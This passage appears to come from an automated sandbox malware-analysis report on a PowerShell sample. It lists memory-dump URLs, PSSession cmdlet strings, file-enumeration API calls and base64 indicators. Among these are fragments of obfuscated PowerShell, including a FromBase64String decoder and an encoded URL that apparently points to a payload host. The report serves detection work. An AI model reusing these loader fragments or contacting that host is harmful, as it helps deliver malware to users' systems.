"00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0f[+j0dikttp:l.miprod*/mict2011_20" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt01.3.36.3.3.2.8.1.1.9@eckp@1.2.156.11235.1.1.2.1@eckp1.2.840.10045.3.1.2ecdp1.2.840.10045.3.1.6ecdp1.2.840.10045.3.1.1ecdp1.3.36.3.3.2.8.1.1.7@eckp1.2.156.11235.1.1.2.1ecdp1.2.840.10045.3.1.2@eckp1.3.36.3.3.2.8.1.1.14ecdp1.2.840.10045.3.1.5ecdp1.3.36.3.3.2.8.1.1.10@eckp@34e0ca" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt012053115" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/plwashington1redmond1microsoft" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found URL "ftps://wdcp.microsoft.com/wdcp.svc/submitreportnablenetworkprotectionpbafsextendedtimeoutngineparanoidfeatureupportdirectoryllowedapplicationsisablebmnetworksensorpcloudblocklevelisablebmnetworksensoris\consumers\ipsrotectedfoldersupportdirectorypbafsextendedtimeoutis\activesignaturesurgeitemsafterdelayurgeitemsafterdelaypcloudblocklevelngineparanoidfeaturenablenetworkprotectionisablelocaladminmergexclusions\processesindaysignature" - Source: "00000000-00005788.00000001.156236.9EBE0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00005788.00000001.156236.9EBE0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1washington1rporation1&0" - Source: "00000000-00005788.00000001.156236.9EBE0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005788.00000001.156236.9EBE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005788.00000001.156236.9EBE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005788.00000001.156236.9EBE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005788.00000001.156236.E2718000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005788.00000001.156236.E2718000.00000002.mdmp")46:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp")47:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005788) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00005788) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00005788) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00005788) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00005788) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00005788) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00005788) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00005788)48:T1fe0,file/memory contains long string with (Indicator: "base64"; Source: "00000000-00005788.00000000.155566.841F0000.00000004.mdmp, 00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000000.155566.85E10000.00000004.mdmp, 00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.841F0000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.85E10000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005788.00000000.155566.841F0000.00000004.mdmp, 00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000000.155566.85E10000.00000004.mdmp, 00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.841F0000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.85E10000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found string "[byte[]]$hobblingly=[Convert]::FromBase64String($widescale);" (Indicator: "base64"; Source: "00000000-00005788.00000000.155566.841F0000.00000004.mdmp, 00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000000.155566.85E10000.00000004.mdmp, 00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.841F0000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.85E10000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found string "[byte[]]$hobblingly=[Convert]::FromBase64String($widescale);" (Indicator: "FromBase64String"; Source: "00000000-00005788.00000000.155566.841F0000.00000004.mdmp, 00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000000.155566.85E10000.00000004.mdmp, 00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.841F0000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.85E10000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.9ECE0000.00000004.mdmp") Found string "enpierce=$corporatism=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAGIAbAB1AGUALQBwAGEAcABlAHIALQBmADYAOQBmAC4AYQBjAHIAeQBwAHQAZQByAHMALgB3AG8AcgBrAGUAcgBzAC4Aj" (Indicator: "base64"; Source: "00000000-00005788.00000000.155566.84270000.00000004.mdmp") Found string "enpierce=$corporatism=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAGIAbAB1AGUALQBwAGEAcABlAHIALQBmADYAOQBmAC4AYQBjAHIAeQBwAHQAZQByAHMALgB3AG8AcgBrAGUAcgBzAC4Aj" (Indicator: "FromBase64String"; Source: "00000000-00005788.00000000.155566.84270000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00005788.00000000.155566.84270000.00000004.mdmp, 00000000-00005788.00000000.155566.9E690000.00000004.mdmp, 00000000-00005788.00000001.156236.84270000.00000004.mdmp, 00000000-00005788.00000001.156236.9E690000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00005788.00000000.155566.86550000.00000004.mdmp") Found string "[-WindowStyle